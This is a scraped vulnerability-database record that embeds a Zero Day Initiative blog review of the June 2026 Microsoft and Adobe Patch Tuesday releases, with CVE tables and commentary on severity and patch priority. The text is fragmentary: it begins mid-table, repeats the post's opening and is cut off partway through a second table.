NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "cd191235-9141-4669-8eee-6f1d700e2f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48573", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  